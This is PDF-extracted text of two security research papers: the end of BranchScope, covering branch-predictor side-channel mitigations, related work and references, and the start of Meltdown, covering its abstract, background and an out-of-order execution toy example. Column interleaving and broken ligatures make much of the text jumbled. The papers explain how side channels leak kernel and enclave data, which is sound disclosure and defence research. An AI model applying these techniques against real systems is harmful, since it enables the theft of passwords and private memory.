overview several possible defenses against entries one by one until it ￿nds the collision; periodic ran- BranchScope both in software and hardware. Exploring these domization can be used (sacri￿cing some performance). This defenses is an interesting direction for future research. solution is similar to randomizing the mapping of caches as a protection against side-channel attacks [52]. 10.1 Software-only Mitigations Software-only solutions can be highly sensitive to the under- Removing prediction for sensitive branches Since not lying organization of the branch predictor unit. In addition all branch instructions can leak sensitive information, a mit- to the side channel threat, malicious entities can commu- igation approach can be taking favoring this observation. nicate between each other using BranchScope, bypassing A software developer can indicate the branches capable of existing restrictions. For example, a sealed SGX enclave can leaking secret information and request them to be protected. transfer sensitive information to regular process violating Then the CPU must avoid predicting these branches, rely security properties of the SGX system. Software mitigation always on static prediction and avoid updating any BPU techniques cannot provide protections from covert channels structures after such branches are executed. Although this as they do not remove the source of leakage in hardware, mitigation technique has a negative performance overhead leaving attackers free to use it to communicate covertly. it o￿ers perfect security for most security sensitive branches. One possible mitigation technique is to algorithmically As with the software techniques, this method does not pro- remove dependencies of branch outcomes on secret data [3]. tect again ts the covert channel attack. However, it is challenging to apply such protection to large code bases, thus this mechanism can only be limited to the Partitioning the BPU The BPU may be partitioned such key parts of programs operating with sensitive data. that attackers and victims do not share the same structures. Another possible approach that has a broader applicability For example, SGX code may use a di￿erent branch predictor is to eliminate conditional branches from target programs. than normal code. Alternatively, mechanisms to request a This technique, known as if-conversion [10], is a compiler private partition of the BPU may be supported [37]. With optimization that converts conditional branches to sequen- partitioning, the attacker loses the ability to create collisions tial code using conditional instructions such as cmov, e￿ec- with the victim. tively turning control dependencies into data dependencies. If-conversion removes conditional branch instructions, thus mitigating the BranchScope attack. Several studies [9, 11] Other solutions. Other solutions are also possible. For ex- used if-conversion as a mitigation for timing side-channel ample, we may remove the attacker’s ability to measure attacks. It is easy to apply this method to simple branches the outcome of a branch accurately, by removing or adding with few dependencies. However, conversion of complex noise to the performance counters or the timing measure- control ￿ow (di￿erent code is executed depending on branch ments [39]. Another solutionmay change the prediction FSM outcomes) is challenging. It is unknown if it possible to con- to make it more stochastic, interfering with the attacker’s vert real-world applications to branch-free code. Moreover, ability to precisely infer the direction of the branch taken highly-predictable branches typically perform worse when by the victim. Finally, a class of solutions may focus on de- if-converted [10]. tecting the attack footprint and invoking mitigations such as freezing or killing the attacker process if an ongoing at- tack is detected. In an SGX context where the attacker has 10.2 Hardware-supported Defenses compromised the OS this may be di￿cult; alternatively, the The design of the branch predictor mechanism can be rearchi- SGX code may decide to remap itself or stop execution if it tected to mitigate leakage through the directional branch detects an ongoing attack. 704 Session 8A: Security and Protection ASPLOS’18, March 24–28, 2018, Williamsburg, VA, USA 11 Related Work secret bits can be recovered by the attacker with very low er- The ￿rst research studying branch predictor based side- ror rate and without the knowledge of the internal predictor channels was conducted by Aciicmez et al. [1–3]: they pre- organization. Therefore, researchers and system developers sented four di￿erent attacks, demonstrating them against have to consider BranchScope as a new security threat while implementations of the RSA encryption standard. The ￿rst designing future systems. We proposed several countermea- attack exploits the deterministic behavior of the branch pre- sures to protect future systems from BranchScope. dictor by simulating the exponentiation steps and measuring the time di￿erences that depend on the prior state of the 13 Acknowledgments predictor. The second attack assumes that the spy process This paper was made possible by NPRP grant 8-1474-2-626 runs on a parallel virtual core alongside with the victim. The from the Qatar National Research Fund (a member of Qatar spy constantly removes the victim’s entries from the BTB in Foundation). The statements made herein are solely the re- order to force the branch predictor to predict all branches sponsibility of the authors. as not-taken (assuming that BTB misses result in not-taken predictions ). The third attack is also based on the spy ￿ll- References ing the BTB with its own data. The main di￿erence here is [1] O. Aciicmez, K. Koc, and J. Seifert. On the power of simple branch that this attack is synchronous, meaning that the attacker prediction analysis. In Symposium on Information, Computer and can perform the BTB ￿lling right before the target branch Communication Security (ASIACCS). IEEE, 2007. is executed. Finally, in the last attack, the spy also executes [2] O. Aciicmez, K. Koc, and J. Seifert. Predicting secret keys via branch in parallel and ￿lls the BTB, but this time instead of measur- prediction. In The cryptographers’ track at the RSA conference, 2007. ing the total execution time of the cryptographic algorithm, [3] Onur Acıiçmez, Shay Gueron, and Jean-Pierre Seifert. New branchprediction vulnerabilities in OpenSSL and necessary software coun- the spy detects evictions of its BTB entries when the victim termeasures. In Cryptography and Coding, pages 185–203. Springer, process executes taken branches. They later signi￿cantly 2007. improved the last attack’s accuracy by carefully adjusting [4] Thomas Allan, Billy Bob Brumley, Katrina Falkner, Joop Van de Pol, the intensiveness of the BTB ￿lling. This attack is most in- and Yuval Yarom. Amplifying side channels through performance teresting due to the demonstrated practical results with high degradation. In Proceedings of the 32nd Annual Conference on ComputerSecurity Applications, pages 422–435. ACM, 2016. accuracy. [5] Iosif Androulidakis and Gorazd Kandus. Feeling secure vs. being secure All attacks described above are substantially di￿erent the mobile phone user case. In Global security, safety and sustainability from BranchScope. All but the ￿rst attack (which is a timing- & e-Democracy, pages 212–219. Springer, 2012. analysis attack) rely on ￿lling the BTB (which is a cache-like [6] Daniel J Bernstein, Joachim Breitner, Daniel Genkin, Leon Groot Bruin- structure) and thus are similar to the cache side-channel at- derink, Nadia Heninger, Tanja Lange, Christine van Vredendaal, andYuval Yarom. Sliding right into disaster: Left-to-right sliding win- tacks [38, 56]. This makes it possible to apply existing cache dows leak. In International Conference on Cryptographic Hardware and protection techniques [14, 52] to protect the BTB. In con- Embedded Systems, pages 555–576. Springer, 2017. trast, BranchScope exploits the hybrid property of modern [7] Sarani Bhattacharya and DebdeepMukhopadhyay. Fault Attack reveal- branch predictors and manipulates the data directly in the ing Secret Keys of Exponentiation Algorithms from Branch Prediction directional predictor, thus opening up a previously unex- Misses. Cryptology ePrint Archive, Report 2014/790, 2014.[8] David Brumley and Dan Boneh. Remote timing attacks are practical. plored side-channel. Branch predictors have been used for Computer Networks, 48(5):701–716, 2005. constructing covert channels in [19, 20, 29]. However, these [9] Jonathan Burket and Samantha Gottlieb. If-Conversion to Combat works rely on the did not investigate the possibility of ￿ne- Control Flow-based Timing Attacks. 2014. grained branch direction recovery. Bhattacharya et al.[7] [10] Youngsoo Choi, Allan Knies, Luke Gerke, and Tin-Fook Ngai. The considered a fault attack on RSA combined with the analysis impact of if-conversion and branch prediction on program executionon the intel® itanium processor. In Proceedings of the 34th annual of the number of branch mispredictions. ACM/IEEE international symposium on Microarchitecture, pages 182– Recent works exploited microarchitectural features to con- 191. IEEE Computer Society, 2001. struct covert channels [18, 40]. These channels allow attack- [11] Bart Coppens, Ingrid Verbauwhede, Koen De Bosschere, and Bjorn ers to bypass system isolation, including Intel SGX [25]. As De Sutter. Practical mitigations for timing-based side-channel attacks we demonstrated, BranchScope can be used in a similar fash- on modern x86 processors. In Security and Privacy, 2009 30th IEEESymposium on, pages 45–60. IEEE, 2009. ion to transfer information across isolation boundaries. [12] Victor Costan, Ilia A Lebedev, and Srinivas Devadas. Sanctum:Minimal Hardware Extensions for Strong Software Isolation. InUSENIX Security Symposium, pages 857–874, 2016. 12 Concluding Remarks [13] Jean-Francois Dhem, Francois Koeune, Philippe-Alexandre Leroux, Patrick Mestré, Jean-Jacques Quisquater, and Jean-Louis Willems. A In this paper we presented BranchScope — a new micro- practical implementation of the timing attack. In Smart Card Research architectural side-channel attack that exploits directional and Applications, pages 167–182. Springer, 2000. branch predictor to leak secret data. We demonstrated the [14] L. Domnitser, A. Jaleel, J. Loew, N. Abu-Ghazaleh, and D. Ponomarev. attack on recent Intel processors. Our results showed that Non-Monopolizable Caches: Low-Complexity Mitigation of CacheSide-Channel Attacks. In ACM Transactions on Architecture and Code 705 Session 8A: Security and Protection ASPLOS’18, March 24–28, 2018, Williamsburg, VA, USA Optimization, Special Issue on High Performance and Embedded Archi- [31] Daniel A Jiménez and Calvin Lin. Dynamic branch prediction with tectures and Compilers, January 2012. perceptrons. In High-Performance Computer Architecture, 2001. HPCA. [15] Marius Evers, Po-Yung Chang, and Yale N Patt. Using hybrid branch The Seventh International Symposium on, pages 197–206. IEEE, 2001. predictors to improve branch prediction accuracy in the presence [32] Marc Joye and Sung-Ming Yen. The Montgomery powering ladder. of context switches. In ACM SIGARCH Computer Architecture News, In Cryptographic Hardware and Embedded Systems-CHES 2002, pages volume 24, pages 3–11. ACM, 1996. 291–302. 2002. [16] Dmitry Evtyushkin, Jesse Elwell, Meltem Ozsoy, Dmitry Ponomarev, [33] Mehmet Kayaalp, Dmitry Ponomarev, Nael Abu-Ghazaleh, and Aamer Nael Abu Ghazaleh, and Ryan Riley. Iso-X: A ￿exible architecture Jaleel. A high-resolution side-channel attack on last-level cache. In De- for hardware-managed isolated execution. In Proceedings of the 47th sign Automation Conference (DAC), 2016 53nd ACM/EDAC/IEEE, pages Annual IEEE/ACM International Symposium onMicroarchitecture, pages 1–6. IEEE, 2016. 190–202. IEEE Computer Society, 2014. [34] Paul Kocher, Daniel Genkin, Daniel Gruss, Werner Haas, Mike Ham- [17] Dmitry Evtyushkin, Jesse Elwell, Meltem Ozsoy, Dmitry V Ponomarev, burg, Moritz Lipp, StefanMangard, Thomas Prescher, Michael Schwarz, Nael Abu Ghazaleh, and Ryan Riley. Flexible hardware-managed and Yuval Yarom. Spectre Attacks: Exploiting Speculative Execution. isolated execution: Architecture, software support and applications. ArXiv e-prints, January 2018. IEEE Transactions on Dependable and Secure Computing, 2016. [35] Sangho Lee, Ming-Wei Shih, Prasun Gera, Taesoo Kim, Hyesoon Kim, [18] Dmitry Evtyushkin and Dmitry Ponomarev. Covert channels through and Marcus Peinado. Inferring ￿ne-grained control ￿ow inside SGX random number generator: Mechanisms, capacity estimation and mit- enclaves with branch shadowing. In Usenix Security Symposium, 2017. igations. In Proceedings of the 2016 ACM SIGSAC Conference on Com- [36] Moritz Lipp, Michael Schwarz, Daniel Gruss, Thomas Prescher, Werner puter and Communications Security, pages 843–857. ACM, 2016. Haas, Stefan Mangard, Paul Kocher, Daniel Genkin, Yuval Yarom, and [19] Dmitry Evtyushkin, Dmitry Ponomarev, and Nael Abu-Ghazaleh. Mike Hamburg. Meltdown. ArXiv e-prints, January 2018. Covert channels through branch predictors: a feasibility study. In [37] Fangfei Liu, Qian Ge, Yuval Yarom, Frank Mckeen, Carlos Rozas, Ger- Proceedings of the Fourth Workshop on Hardware and Architectural not Heiser, and Ruby B Lee. Catalyst: Defeating last-level cache side Support for Security and Privacy, page 5. ACM, 2015. channel attacks in cloud computing. In High Performance Computer [20] Dmitry Evtyushkin, Dmitry Ponomarev, and Nael Abu-Ghazaleh. Un- Architecture (HPCA), 2016 IEEE International Symposium on, pages derstanding and Mitigating Covert Channels Through Branch Predic- 406–418. IEEE, 2016. tors. ACM Transactions on Architecture and Code Optimization (TACO), [38] Fangfei Liu, Yuval Yarom, Qian Ge, Gernot Heiser, and Ruby B Lee. 2015. Last-Level Cache Side-Channel Attacks are Practical. In 36th IEEE [21] Dmitry Evtyushkin, Dmitry Ponomarev, andNael Abu-Ghazaleh. Jump Symposium on Security and Privacy (S&P 2015), 2015. over ASLR: Attacking branch predictors to bypass ASLR. InMicroarchi- [39] Robert Martin, John Demme, and Simha Sethumadhavan. Timewarp: tecture (MICRO), 2016 49th Annual IEEE/ACM International Symposium Rethinking timekeeping and performance monitoring mechanisms to on, pages 1–13. IEEE, 2016. mitigate side-channel attacks. ACM SIGARCH Computer Architecture [22] Johannes Götzfried, Moritz Eckert, Sebastian Schinzel, , and TiloMüller. News, 40(3):118–129, 2012. Cache Attacks on Intel SGX. 2017. [40] Clémentine Maurice, Christoph Neumann, Olivier Heen, and Aurélien [23] Daniel Gruss, Moritz Lipp, Michael Schwarz, Richard Fellner, Clémen- Francillon. C5: cross-cores cache covert channel. In International tine Maurice, and Stefan Mangard. KASLR is Dead: Long Live KASLR. Conference on Detection of Intrusions and Malware, and Vulnerability In International Symposium on Engineering Secure Software and Systems, Assessment, pages 46–64. Springer, 2015. pages 161–176. Springer, 2017. [41] Scott McFarling. Combining branch predictors. Technical report, [24] Daniel Gruss, Clémentine Maurice, Anders Fogh, Moritz Lipp, and Technical Report TN-36, Digital Western Research Laboratory, 1993. Stefan Mangard. Prefetch side-channel attacks: Bypassing SMAP and [42] Frank McKeen, Ilya Alexandrovich, Alex Berenzon, Carlos V Rozas, kernel ASLR. In Proceedings of the 2016 ACM SIGSAC Conference on Hisham Sha￿, Vedvyas Shanbhogue, and Uday R Savagaonkar. Inno- Computer and Communications Security, pages 368–379. ACM, 2016. vative instructions and software model for isolated execution. HASP@ [25] Daniel Gruss, Felix Schuster, Olya Ohrimenko, Istvan Haller, Julian ISCA, 10, 2013. Lettner, and Manuel Costa. Strong and E￿cient Cache Side-Channel [43] Pierre Michaud, André Seznec, and Richard Uhlig. Trading con￿ict and Protection using Hardware Transactional Memory. 2017. capacity aliasing in conditional branch predictors. In ACM SIGARCH [26] D. Gullasch, E. Bangerter, and S. Krenn. Cache Games – Bringing Computer Architecture News, volume 25, pages 292–303. ACM, 1997. Access-Based Cache Attacks on AES to Practice. In Security and [44] Ahmad Moghimi, Gorka Irazoqui, and Thomas Eisenbarth. Privacy (SP), 2011 IEEE Symposium on, pages 490–505, 2011. CacheZoom: How SGX Ampli￿es The Power of Cache Attacks. arXiv [27] Marcus Hähnel, Weidong Cui, and Marcus Peinado. High-Resolution preprint arXiv:1703.06986, 2017. Side Channels for Untrusted Operating Systems. In 2017 USENIX [45] ThomazOliveira, Julio López, and Francisco Rodríguez-Henríquez. The Annual Technical Conference (USENIX ATC 17), pages 299–312, Santa Montgomery ladder on binary elliptic curves. Journal of Cryptographic Clara, CA, 2017. USENIX Association. Engineering, pages 1–18, 2017. [28] Ralf Hund, Carsten Willems, and Thorsten Holz. Practical timing side [46] Erven Rohou, Bharath Narasimha Swamy, and André Seznec. Branch channel attacks against kernel space ASLR. In Security and Privacy prediction and the performance of interpreters: don’t trust folklore. (SP), 2013 IEEE Symposium on, pages 191–205. IEEE, 2013. In Proceedings of the 13th Annual IEEE/ACM International Symposium [29] Casen Hunger, Mikhail Kazdagli, Ankit Rawat, Alex Dimakis, Sri- on Code Generation and Optimization, pages 103–114. IEEE Computer ram Vishwanath, and Mohit Tiwari. Understanding contention-based Society, 2015. channels and using them for defense. In High Performance Computer [47] Michael Schwarz, Samuel Weiser, Daniel Gruss, Clémentine Maurice, Architecture (HPCA), 2015 IEEE 21st International Symposium on, pages and Stefan Mangard. Malware Guard Extension: Using SGX to Conceal 639–650. IEEE, 2015. Cache Attacks. arXiv preprint arXiv:1702.08719, 2017. [30] Yeongjin Jang, Sangho Lee, and Taesoo Kim. Breaking kernel address [48] Hovav Shacham, Matthew Page, Ben Pfa￿, Eu-Jin Goh, Nagendra space layout randomization with intel tsx. In Proceedings of the 2016 Modadugu, and Dan Boneh. On the e￿ectiveness of address-space ACM SIGSAC Conference on Computer and Communications Security, randomization. In Proceedings of the 11th ACM conference on Computer pages 380–392. ACM, 2016. and communications security (CCS), pages 298–307, 2004. 706 Session 8A: Security and Protection ASPLOS’18, March 24–28, 2018, Williamsburg, VA, USA [49] James E Smith. A study of branch prediction strategies. In Proceedings [53] Johannes Winter. Trusted computing building blocks for embedded of the 8th annual symposium on Computer Architecture, pages 135–148. linux-based ARM trustzone platforms. In Proceedings of the 3rd ACM IEEE Computer Society Press, 1981. workshop on Scalable trusted computing, pages 21–30. ACM, 2008. [50] Eric Sprangle, Robert S Chappell, Mitch Alsup, and Yale N Patt. The [54] Yuanzhong Xu,Weidong Cui, andMarcus Peinado. Controlled-channel agree predictor: A mechanism for reducing negative branch history attacks: Deterministic side channels for untrusted operating systems. interference. InACM SIGARCHComputer Architecture News, volume 25, In Security and Privacy (SP), 2015 IEEE Symposium on, pages 640–656. pages 284–291. ACM, 1997. IEEE, 2015. [51] Leif Uhsadel, Andy Georges, and Ingrid Verbauwhede. Exploiting [55] Yuval Yarom and Naomi Benger. Recovering OpenSSL ECDSA Nonces hardware performance counters. In Fault Diagnosis and Tolerance Using the FLUSH+ RELOAD Cache Side-channel Attack. IACR Cryp- in Cryptography, 2008. FDTC’08. 5th Workshop on, pages 59–67. IEEE, tology ePrint Archive, 2014:140, 2014. 2008. [56] Yuval Yarom and Katrina E Falkner. Flush+Reload: a High Resolution, [52] Zhenghong Wang and Ruby B Lee. New cache designs for thwarting Low Noise, L3 Cache Side-Channel Attack. IACR Cryptology ePrint software cache-based side channel attacks. InACMSIGARCHComputer Archive, 2013:448, 2013. Architecture News, volume 35, pages 494–505. ACM, 2007. [57] Tse-Yu Yeh and Yale N Patt. Two-level adaptive training branch pre- diction. In Proceedings of the 24th annual international symposium on Microarchitecture, pages 51–61. ACM, 1991. 707 Meltdown Moritz Lipp1, Michael Schwarz1, Daniel Gruss1, Thomas Prescher2, Werner Haas2, Stefan Mangard1, Paul Kocher3, Daniel Genkin4, Yuval Yarom5, Mike Hamburg6 1 Graz University of Technology 2 Cyberus Technology GmbH 3 Independent 4 University of Pennsylvania and University of Maryland 5 University of Adelaide and Data61 6 Rambus, Cryptography Research Division Abstract sor bit of the processor that defines whether a memory page of the kernel can be accessed or not. The basic The security of computer systems fundamentally relies idea is that this bit can only be set when entering kernel on memory isolation, e.g., kernel address ranges are code and it is cleared when switching to user processes. marked as non-accessible and are protected from user This hardware feature allows operating systems to map access. In this paper, we present Meltdown. Meltdown the kernel into the address space of every process and exploits side effects of out-of-order execution on mod- to have very efficient transitions from the user process ern processors to read arbitrary kernel-memory locations to the kernel, e.g., for interrupt handling. Consequently, including personal data and passwords. Out-of-order in practice, there is no change of the memory mapping execution is an indispensable performance feature and when switching from a user process to the kernel. present in a wide range of modern processors. The attack In this work, we present Meltdown1. Meltdown is a is independent of the operating system, and it does not novel attack that allows overcoming memory isolation rely on any software vulnerabilities. Meltdown breaks completely by providing a simple way for any user pro- all security assumptions given by address space isola- cess to read the entire kernel memory of the machine it tion as well as paravirtualized environments and, thus, executes on, including all physical memory mapped in every security mechanism building upon this foundation. the kernel region. Meltdown does not exploit any soft- On affected systems, Meltdown enables an adversary to ware vulnerability, i.e., it works on all major operating read memory of other processes or virtual machines in systems. Instead, Meltdown exploits side-channel infor- the cloud without any permissions or privileges, affect- mation available on most modern processors, e.g., mod- ing millions of customers and virtually every user of a ern Intel microarchitectures since 2010 and potentially personal computer. We show that the KAISER defense on other CPUs of other vendors. mechanism for KASLR [8] has the important (but inad- While side-channel attacks typically require very spe- vertent) side effect of impeding Meltdown. We stress cific knowledge about the target application and are tai- that KAISER must be deployed immediately to prevent lored to only leak information about its secrets, Melt- large-scale exploitation of this severe information leak- down allows an adversary who can run code on the vul- age. nerable processor to obtain a dump of the entire kernel address space, including any mapped physical memory. 1 Introduction The root cause of the simplicity and strength of Melt- down are side effects caused by out-of-order execution. One of the central security features of today’s operating Out-of-order execution is an important performance systems is memory isolation. Operating systems ensure feature of today’s processors in order to overcome laten- that user applications cannot access each other’s memo- cies of busy execution units, e.g., a memory fetch unit ries and prevent user applications from reading or writ- needs to wait for data arrival from memory. Instead of ing kernel memory. This isolation is a cornerstone of our stalling the execution, modern processors run operations computing environments and allows running multiple ap- out-of-order i.e., they look ahead and schedule subse- plications on personal devices or executing processes of quent operations to idle execution units of the proces- multiple users on a single machine in the cloud. sor. However, such operations often have unwanted side- On modern processors, the isolation between the ker- 1This attack was independently found by the authors of this paper nel and user processes is typically realized by a supervi- and Jann Horn from Google Project Zero. 1 effects, e.g., timing differences [28, 35, 11] can leak in- Meltdown is distinct from the Spectre Attacks [19] in formation from both sequential and out-of-order execu- several ways, notably that Spectre requires tailoring to tion. the victim process’s software environment, but applies From a security perspective, one observation is partic- more broadly to CPUs and is not mitigated by KAISER. ularly significant: Out-of-order; vulnerable CPUs allow an unprivileged process to load data from a privileged Contributions. The contributions of this work are: (kernel or physical) address into a temporary CPU reg- 1. We describe out-of-order execution as a new, ex- ister. Moreover, the CPU even performs further com- tremely powerful, software-based side channel. putations based on this register value, e.g., access to an 2. We show how out-of-order execution can be com- array based on the register value. The processor ensures bined with a microarchitectural covert channel to correct program execution, by simply discarding the re- transfer the data from an elusive state to a receiver sults of the memory lookups (e.g., the modified register on the outside. states), if it turns out that an instruction should not have 3. We present an end-to-end attack combining out-of- been executed. Hence, on the architectural level (e.g., the order execution with exception handlers or TSX, to abstract definition of how the processor should perform read arbitrary physical memory without any permis- computations), no security problem arises. sions or privileges, on laptops, desktop machines, However, we observed that out-of-order memory and on public cloud machines. lookups influence the cache, which in turn can be de- 4. We evaluate the performance of Meltdown and the tected through the cache side channel. As a result, an effects of KAISER on it. attacker can dump the entire kernel memory by reading privileged memory in an out-of-order execution stream, Outline. The remainder of this paper is structured as and transmit the data from this elusive state via a mi- follows: In Section 2, we describe the fundamental prob- croarchitectural covert channel (e.g., Flush+Reload) to lem which is introduced with out-of-order execution. In the outside world. On the receiving end of the covert Section 3, we provide a toy example illustrating the side channel, the register value is reconstructed. Hence, on channel Meltdown exploits. In Section 4, we describe the microarchitectural level (e.g., the actual hardware im- the building blocks of the full Meltdown attack. In Sec- plementation), there is an exploitable security problem. tion 5, we present the Meltdown attack. In Section 6, Meltdown breaks all security assumptions given by the we evaluate the performance of the Meltdown attack on CPU’s memory isolation capabilities. We evaluated the several different systems. In Section 7, we discuss the ef- attack on modern desktop machines and laptops, as well fects of the software-based KAISER countermeasure and as servers in the cloud. Meltdown allows an unprivileged propose solutions in hardware. In Section 8, we discuss process to read data mapped in the kernel address space, related work and conclude our work in Section 9. including the entire physical memory on Linux and OS X, and a large fraction of the physical memory on Win- dows. This may include physical memory of other pro- 2 Background cesses, the kernel, and in case of kernel-sharing sand- box solutions (e.g., Docker, LXC) or Xen in paravirtu- In this section, we provide background on out-of-order alization mode, memory of the kernel (or hypervisor), execution, address translation, and cache attacks. and other co-located instances. While the performance heavily depends on the specific machine, e.g., processor 2.1 Out-of-order execution speed, TLB and cache sizes, and DRAM speed, we can dump kernel and physical memory with up to 503 KB/s. Out-of-order execution is an optimization technique that Hence, an enormous number of systems are affected. allows to maximize the utilization of all execution units The countermeasure KAISER [8], originally devel- of a CPU core as exhaustive as possible. Instead of pro- oped to prevent side-channel attacks targeting KASLR, cessing instructions strictly in the sequential program or- inadvertently protects against Meltdown as well. Our der, the CPU executes them as soon as all required re- evaluation shows that KAISER prevents Meltdown to a sources are available. While the execution unit of the large extent. Consequently, we stress that it is of ut- current operation is occupied, other execution units can most importance to deploy KAISER on all operating run ahead. Hence, instructions can be run in parallel as systems immediately. Fortunately, during a responsible long as their results follow the architectural definition. disclosure window, the three major operating systems In practice, CPUs supporting out-of-order execution (Windows, Linux, and OS X) implemented variants of support running operations speculatively to the extent KAISER and will roll out these patches in the near fu- that the processor’s out-of-order logic processes instruc- ture. tions before the CPU is certain whether the instruction 2 will be needed and committed. In this paper, we refer ITLB to speculative execution in a more restricted meaning, L1 Instruction Cache where it refers to an instruction sequence following a branch, and use the term out-of-order execution to refer Branch Instruction Fetch & PreDecode to any way of getting an operation executed before the Predictor Instruction Queue processor has committed the results of all prior instruc- tions. µOP Cache 4-Way Decode In 1967, Tomasulo [33] developed an algorithm [33] µOPs µOP µOP µOP µOP MUX that enabled dynamic scheduling of instructions to al- low out-of-order execution. Tomasulo [33] introduced Allocation Queue a unified reservation station that allows a CPU to use µOP µOP µOP µOP a data value as it has been computed instead of storing CDB it to a register and re-reading it. The reservation sta- Reorder buffer tion renames registers to allow instructions that operate µOP µOP µOP µOP µOP µOP µOP µOP on the same physical registers to use the last logical one Scheduler to solve read-after-write (RAW), write-after-read (WAR) µOP µOP µOP µOP µOP µOP µOP µOP and write-after-write (WAW) hazards. Furthermore, the reservation unit connects all execution units via a com- mon data bus (CDB). If an operand is not available, the reservation unit can listen on the CDB until it is available and then directly begin the execution of the instruction. Execution Units On the Intel architecture, the pipeline consists of the front-end, the execution engine (back-end) and the mem- ory subsystem [14]. x86 instructions are fetched by Load Buffer Store Buffer the front-end from the memory and decoded to micro- DTLB STLB operations (µOPs) which are continuously sent to the ex- L1 Data Cache ecution engine. Out-of-order execution is implemented L2 Cache within the execution engine as illustrated in Figure 1. The Reorder Buffer is responsible for register allocation, Figure 1: Simplified illustration of a single core of the In- register renaming and retiring. Additionally, other opti- tel’s Skylake microarchitecture. Instructions are decoded mizations like move elimination or the recognition of ze- into µOPs and executed out-of-order in the execution en- roing idioms are directly handled by the reorder buffer. gine by individual execution units. The µOPs are forwarded to the Unified Reservation Sta- tion that queues the operations on exit ports that are con- nected to Execution Units. Each execution unit can per- prediction [2] gathers statistics at run-time to predict the form different tasks like ALU operations, AES opera- outcome. One-level branch prediction uses a 1-bit or 2- tions, address generation units (AGU) or memory loads bit counter to record the last outcome of the branch [21]. and stores. AGUs as well as load and store execution Modern processors often use two-level adaptive predic- units are directly connected to the memory subsystem to tors [36] that remember the history of the last n outcomes process its requests. allow to predict regularly recurring patterns. More re- Since CPUs usually do not run linear instruction cently, ideas to use neural branch prediction [34, 18, 32] streams, they have branch prediction units that are used have been picked up and integrated into CPU architec- to obtain an educated guess of which instruction will be tures [3]. executed next. Branch predictors try to determine which direction of a branch will be taken before its condition 2.2 Address Spaces is actually evaluated. Instructions that lie on that path and do not have any dependencies can be executed in ad- To isolate processes from each other, CPUs support vir- vance and their results immediately used if the prediction tual address spaces where virtual addresses are translated was correct. If the prediction was incorrect, the reorder to physical addresses. A virtual address space is divided buffer allows to rollback by clearing the reorder buffer into a set of pages that can be individually mapped to and re-initializing the unified reservation station. physical memory through a multi-level page translation Various approaches to predict the branch exist: With table. The translation tables define the actual virtual static branch prediction [12], the outcome of the branch to physical mapping and also protection properties that is solely based on the instruction itself. Dynamic branch are used to enforce privilege checks, such as readable, 3 Memory Execution Engine Frontend Subsystem ALU, AES, . . . ALU, FMA, . . . ALU, Vect, . . . ALU, Branch Load data Load data Store data AGU 0 max exact location of kernel data structures [9, 13, 17] or de- Physical memory randomize ASLR in JavaScript [6]. A combination of a software bug and the knowledge of these addresses can lead to privileged code execution. User Kernel 0 247 247− −1 2.3 Cache Attacks Figure 2: The physical memory is directly mapped in the kernel at a certain offset. A physical address (blue) which In order to speed-up memory accesses and address trans- is mapped accessible for the user space is also mapped in lation, the CPU contains small memory buffers, called the kernel space through the direct mapping. caches, that store frequently used data. CPU caches hide slow memory access latencies by buffering frequently used data in smaller and faster internal memory. Mod- ern CPUs have multiple levels of caches that are either writable, executable and user-accessible. The currently private to its cores or shared among them. Address space used translation table that is held in a special CPU reg- translation tables are also stored in memory and are also ister. On each context switch, the operating system up- cached in the regular caches. dates this register with the next process’ translation table Cache side-channel attacks exploit timing differences address in order to implement per process virtual address that are introduced by the caches. Different cache attack spaces. Because of that, each process can only reference techniques have been proposed and demonstrated in the data that belongs to its own virtual address space. Each past, including Evict+Time [28], Prime+Probe [28, 29], virtual address space itself is split into a user and a kernel and Flush+Reload [35]. Flush+Reload attacks work on part. While the user address space can be accessed by the a single cache line granularity. These attacks exploit the running application, the kernel address space can only be shared, inclusive last-level cache. An attacker frequently accessed if the CPU is running in privileged mode. This flushes a targeted memory location using the clflush is enforced by the operating system disabling the user- instruction. By measuring the time it takes to reload the accessible property of the corresponding translation ta- data, the attacker determines whether data was loaded bles. The kernel address space does not only have mem- into the cache by another process in the meantime. The ory mapped for the kernel’s own usage, but it also needs Flush+Reload attack has been used for attacks on various to perform operations on user pages, e.g., filling them computations, e.g., cryptographic algorithms [35, 16, 1], with data. Consequently, the entire physical memory is web server function calls [37], user input [11, 23, 31], typically mapped in the kernel. On Linux and OS X, this and kernel addressing information [9]. is done via a direct-physical map, i.e., the entire physi- cal memory is directly mapped to a pre-defined virtual A special use case are covert channels. Here the at- address (cf. Figure 2). tacker controls both, the part that induces the side effect, and the part that measures the side effect. This can be Instead of a direct-physical map, Windows maintains used to leak information from one security domain to an- a multiple so-called paged pools, non-paged pools, and other, while bypassing any boundaries existing on the ar- the system cache. These pools are virtual memory re- chitectural level or above. Both Prime+Probe and Flush+ gions in the kernel address space mapping physical pages Reload have been used in high-performance covert chan- to virtual addresses which are either required to remain nels [24, 26, 10]. in the memory (non-paged pool) or can be removed from the memory because a copy is already stored on the disk (paged pool). The system cache further contains map- 3 A Toy Example pings of all file-backed pages. Combined, these memory pools will typically map a large fraction of the physical In this section, we start with a toy example, a simple memory into the kernel address space of every process. code snippet, to illustrate that out-of-order execution can The exploitation of memory corruption bugs often re- change the microarchitectural state in a way that leaks quires the knowledge of addresses of specific data. In information. However, despite its simplicity, it is used as order to impede such attacks, address space layout ran- a basis for Section 4 and Section 5, where we show how domization (ASLR) has been introduced as well as non- this change in state can be exploited for an attack. executable stacks and stack canaries. In order to protect Listing 1 shows a simple code snippet first raising an the kernel, KASLR randomizes the offsets where drivers (unhandled) exception and then accessing an array. The are located on every boot, making attacks harder as they property of an exception is that the control flow does not now require to guess the location of kernel data struc- continue with the code after the exception, but jumps to tures. However, side-channel attacks allow to detect the an exception handler in the operating system. Regardless 4 1 raise_exception(); 2 // the line below is never reached 500 3 access(probe_array[data * 4096]); 400 300 Listing 1: A toy example to illustrate side-effects of out- 200 of-order execution. 0 50 100 150 200 250 Page Figure 4: Even if a memory location is only accessed during out-of-order execution, it remains cached. Iterat- ... ing over the 256 pages of probe array shows one cache EXCEPTION HANDLER hit, exactly on the page that was accessed during the out- [ Exception ] of-order execution. [ Terminate ] and is simple to implement, we do not consider any other side channel for this example. Figure 3: If an executed instruction causes an exception, Based on the value of data in this toy example, a dif- diverting the control flow to an exception handler, the ferent part of the cache is accessed when executing the subsequent instruction must not be executed anymore. memory access out of order. As data is multiplied by Due to out-of-order execution, the subsequent instruc- 4096, data accesses to probe array are scattered over tions may already have been partially executed, but not the array with a distance of 4 kB (assuming an 1 B data retired. However, the architectural effects of the execu- type for probe array). Thus, there is an injective map- tion will be discarded. ping from the value of data to a memory page, i.e., there are no two different values of data which result in an ac- cess to the same page. Consequently, if a cache line of a of whether this exception is raised due to a memory 